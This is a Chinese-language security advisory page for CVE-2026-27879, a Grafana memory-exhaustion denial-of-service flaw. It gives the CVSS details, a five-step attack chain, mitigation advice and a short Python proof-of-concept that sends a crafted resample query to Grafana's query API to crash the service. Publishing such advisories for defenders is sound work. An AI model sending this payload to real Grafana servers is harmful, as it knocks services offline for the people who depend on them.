IPBUF安全漏洞报告
English
CVE-2026-27879 CVSS 6.5 中危

CVE-2026-27879 Grafana内存耗尽漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-27879
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grafana

相关标签

Grafana拒绝服务内存耗尽CVE-2026-27879OOM

漏洞概述

Grafana存在一处安全漏洞,允许攻击者通过构造恶意的重采样查询触发内存耗尽崩溃。该漏洞CVSS v3.1评分为6.5,属于中危级别。攻击者仅需具备低权限账户即可通过网络发起攻击,且无需用户交互。虽然该漏洞未导致数据泄露或篡改,但会直接导致Grafana服务不可用,严重影响系统的可用性。

技术细节

漏洞原理在于Grafana处理数据查询时的资源管理不当。具体来说,当后端接收到包含特定“resample”参数的查询请求时,系统在执行重采样计算过程中未能正确限制内存分配。攻击者可以通过调整查询的时间范围和采样间隔,诱导系统生成巨大的中间数据集。由于缺乏足够的边界检查,这种操作会迅速耗尽服务器内存,触发操作系统的OOM机制,进而强制终止Grafana服务进程,造成拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取Grafana的低权限账户访问权限。
STEP 2
步骤2
攻击者构造包含恶意resample参数的查询请求,旨在最大化内存消耗。
STEP 3
步骤3
将恶意请求发送至Grafana的数据查询API接口。
STEP 4
步骤4
Grafana服务尝试处理请求,导致内存耗尽并触发OOM Killer。
STEP 5
步骤5
Grafana服务进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Grafana Resample Query OOM PoC # Date: 2026-03-27 # CVE: CVE-2026-27879 def trigger_oom(target_url, api_key): headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Malicious query designed to trigger memory exhaustion via resample payload = { "queries": [ { "refId": "A", "datasource": {"type": "grafana-example-datasource", "uid": "grafana"}, "rawSql": "SELECT * FROM metric WHERE time > now() - 1d resample(1ms)", "format": "table" } ] } try: response = requests.post(target_url, json=payload, headers=headers) print(f"Request sent. Status: {response.status_code}") except Exception as e: print(f"Potential crash or connection error: {e}") if __name__ == "__main__": target = "http://localhost:3000/api/ds/query" token = "YOUR_LOW_PRIVILEGE_API_KEY" trigger_oom(target, token)

影响范围

Grafana (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
建议管理员暂时禁用或严格限制对数据查询接口的访问,特别是包含resample功能的请求。同时,应监控系统内存使用情况,一旦发现异常峰值及时介入处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表